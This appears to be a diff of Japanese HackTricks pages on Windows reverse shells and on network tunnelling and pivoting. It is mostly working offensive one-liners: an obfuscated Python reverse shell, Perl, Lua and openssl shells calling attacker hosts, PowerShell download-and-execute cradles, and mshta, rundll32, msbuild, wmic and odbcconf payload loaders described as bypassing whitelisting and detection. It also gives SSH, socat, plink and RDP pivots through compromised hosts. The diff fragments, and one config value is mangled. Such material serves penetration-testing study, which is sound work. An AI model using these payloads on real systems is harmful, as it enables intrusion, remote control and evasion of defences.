C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl (Practical Extraction and Reporting Language) は、テキスト処理やシステム管理などの用途に広く使用されるスクリプト言語です。Windows システムで Perl スクリプトを実行するためには、ActivePerl や Strawberry Perl のような Perl インタプリタをインストールする必要があります。Perl スクリプトは、Windows システムでのシェルスクリプトとして使用することができます。
|
||||
## パール
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
@ -58,7 +64,7 @@ ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.pope
|
|||
```
|
||||
## Lua
|
||||
|
||||
Lua
|
||||
Luaは、スクリプト言語であり、多くのプラットフォームで使用されています。Luaは、高い拡張性と柔軟性を持ち、組み込みシステムから大規模なアプリケーションまで幅広い用途に使用されています。Luaスクリプトは、LuaインタプリタまたはLuaJITを使用して実行されます。Luaは、C言語で実装されており、C言語との統合が容易です。Luaは、ゲーム開発、ウェブ開発、組み込みシステム、およびその他のさまざまな分野で広く使用されています。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -80,7 +86,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
```
|
||||
## Powershell
|
||||
|
||||
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者は効率的にタスクを自動化し、システムの設定や管理を行うことができます。PowerShellは、Windowsの機能を活用してシステムに対する高度な制御を提供します。
|
||||
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者は自動化されたタスクやスクリプトを作成し、Windowsシステム上での様々な操作を効率的に実行できます。PowerShellは、Windowsの管理、設定、および監視を行うための強力なツールとして広く活用されています。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
@ -88,7 +94,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
ネットワークコールを実行するプロセス: **powershell.exe**\
|
||||
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられる場所にはありませんでした!_)
|
||||
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられなかった場所には_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
@ -113,7 +119,7 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードおよび実行する)**
|
||||
#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードおよび実行)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
@ -121,7 +127,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
|
||||
#### htaの例
|
||||
|
||||
[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
[**こちらから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -156,7 +162,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.
|
||||
Mshta is a tool in Metasploit that allows execution of HTA (HTML Application) files.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -188,7 +194,7 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http
|
|||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**ここから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -322,7 +328,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
以下は、[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)からのxslファイルの例です:
|
||||
例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)から入手できます:
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -340,11 +346,11 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
|
||||
## Msbuild
|
||||
|
||||
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
このテクニックを使用して、アプリケーションホワイトリストとPowershell.exeの制限をバイパスできます。PSシェルが表示されます。\
|
||||
このテクニックを使用して、アプリケーションホワイトリストとPowershell.exeの制限をバイパスできます。PSシェルが表示されるようになります。\
|
||||
これをダウンロードして実行してください:[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
|
@ -357,9 +363,9 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
以下から基本的なC#リバースシェルをダウンロードできます: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
以下から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**検出されていません**
|
||||
**検出されない**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
|
@ -373,7 +379,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
|
||||
## Odbcconf
|
||||
|
||||
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
|
@ -387,7 +393,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells**フォルダには、さまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
|
||||
**Shells**フォルダには、さまざまなシェルがあります。_Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
@ -442,12 +448,12 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
ユニコーンを使用して、MetasploitバックドアのPowerShellバージョンを作成します。
|
||||
unicornを使用して、metasploitバックドアのPowerShellバージョンを作成します。
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
```plaintext
|
||||
作成したリソースを使用してmsfconsoleを起動します:
|
||||
msfconsole -r <resource_file>
|
||||
```
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
|
@ -464,9 +470,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## もっと
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールが事前にロードされたPSコンソール(暗号化済み)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 暗号化されたいくつかの攻撃的なPSモジュールがプリロードされたPSコンソール\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール(IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール (IEX)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -478,16 +484,22 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジ
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,20 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmapのヒント
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるために**ping discoveryを無効に**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるためには**ping discoveryを無効に**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -54,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
|||
```
|
||||
### ポートツーポート
|
||||
|
||||
ローカルポート --> 侵害されたホスト(SSH) --> サードボックス:ポート
|
||||
ローカルポート --> 侵害されたホスト(SSH) --> サードボックス:ポート
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
|
@ -62,7 +70,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
ローカルポート --> 危険にさらされたホスト(SSH) --> どこでも
|
||||
ローカルポート --> 危険なホスト(SSH) --> どこでも
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
|
@ -79,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPNトンネル
|
||||
|
||||
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)そしてsshdの設定でrootログインを許可する必要があります:\
|
||||
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)。また、sshdの設定でrootログインを許可する必要があります:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -100,8 +108,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||
```
|
||||
## SSHUTTLE
|
||||
|
||||
ホストを介してサブネットワークへのすべてのトラフィックをssh経由で**トンネリング**できます。\
|
||||
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送します。
|
||||
**SSHUTTLE**を使用すると、ホストを介してサブネットワークへのすべてのトラフィックを**ssh**経由で**トンネリング**できます。\
|
||||
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送する場合
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
|
@ -147,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKS proxy
|
||||
|
||||
**ビーコンを介してトラフィックをルーティング**するために使用できるすべてのインターフェースでリッスンしているチームサーバーにポートを開きます。
|
||||
チームサーバーでリッスンしているポートを開き、**ビーコンを介してトラフィックをルーティング**するために使用できるすべてのインターフェースにリッスンします。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -263,7 +271,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||
|
||||
**/bin/sh コンソール**
|
||||
|
||||
両側で証明書を作成します:クライアントとサーバー
|
||||
両側で証明書を作成します:クライアントとサーバ
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
|
@ -289,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
これはコンソール版のPuTTYのようなものです(オプションはsshクライアントに非常に似ています)。
|
||||
|
||||
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートにフォワーディングするには:
|
||||
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルからアクセス可能なポートを私たちのマシンのポートにフォワーディングするには:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -310,10 +318,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
**システム上でのRDPアクセスが必要です。**\
|
||||
**システム上でのRDPアクセス**が必要です。\
|
||||
ダウンロード:
|
||||
|
||||
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールはWindowsのRemote Desktop Service機能から`Dynamic Virtual Channels` (`DVC`)を使用します。 DVCは**RDP接続を介してパケットをトンネリング**する責任があります。
|
||||
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールはWindowsのRemote Desktop Service機能から`Dynamic Virtual Channels` (`DVC`)を使用します。 DVCは**RDP接続を介してパケットをトンネリング**する責務を持っています。
|
||||
2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
クライアントコンピューターで**`SocksOverRDP-Plugin.dll`**を次のようにロードします:
|
||||
|
@ -321,9 +329,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
今、`mstsc.exe`を使用してRDP経由で被害者に**接続**でき、**SocksOverRDPプラグインが有効**であるという**プロンプト**が表示され、**127.0.0.1:1080**で**リッスン**されるはずです。
|
||||
今、**`mstsc.exe`**を使用して**RDP**経由で**被害者**に**接続**でき、**SocksOverRDPプラグインが有効**であるという**プロンプト**が表示され、**127.0.0.1:1080**で**リッスン**されるはずです。
|
||||
|
||||
**RDP**経由で**接続**し、被害者のマシンに`SocksOverRDP-Server.exe`バイナリをアップロードして実行します:
|
||||
**RDP**を介して**接続**し、被害者のマシンに`SocksOverRDP-Server.exe`バイナリをアップロードして実行します:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
|
@ -351,7 +359,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介して選択したツールを使用できます。\
|
||||
たとえば、ポート443を転送します。
|
||||
たとえば、ポート443を転送する場合
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -409,7 +417,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### プロキシチェーンのDNSの変更
|
||||
|
||||
Proxychainsは`gethostbyname` libc呼び出しを傍受し、TCP DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用するDNSサーバーは**4.2.2.2**(ハードコードされています)。変更するには、ファイルを編集します:_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用するDNSサーバーは**4.2.2.2**(ハードコードされています)。変更するには、ファイルを編集します:_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**の場合、**ドメインコントローラー**のIPを設定できます。
|
||||
|
||||
## Goでのトンネル
|
||||
|
||||
|
@ -480,10 +488,8 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### HTTPコールのスニッフィング
|
||||
|
||||
*XSS、SSRF、SSTIに便利...*
|
||||
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
|
||||
|
||||
#### 内部HTTPサービスのトンネリング
|
||||
*XSS、SSRF、SSTIなどに便利...*
|
||||
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
|
@ -499,7 +505,7 @@ chmod a+x ./ngrok
|
|||
tunnels:
|
||||
mytcp:
|
||||
addr: 4444
|
||||
proto: tcp
|
||||
proto: tcptunne
|
||||
anothertcp:
|
||||
addr: 5555
|
||||
proto: tcp
|
||||
|
@ -507,19 +513,27 @@ httpstatic:
|
|||
proto: http
|
||||
addr: file:///tmp/httpbin/
|
||||
```
|
||||
## その他のチェックツール
|
||||
## その他のチェックするツール
|
||||
|
||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
